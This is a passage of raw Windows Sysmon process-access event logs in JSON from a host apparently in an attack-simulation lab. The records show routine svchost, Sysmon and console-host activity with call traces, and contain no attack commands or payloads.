11:50:01.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2112,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2113,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2114,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2115,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2116,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2117,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2118,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2119,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.750\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE9-5F2D-0000-0010FF5B0300}\r\nTargetProcessId: 3628\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.750","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE9-5F2D-0000-0010FF5B0300}","TargetProcessId":"3628","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 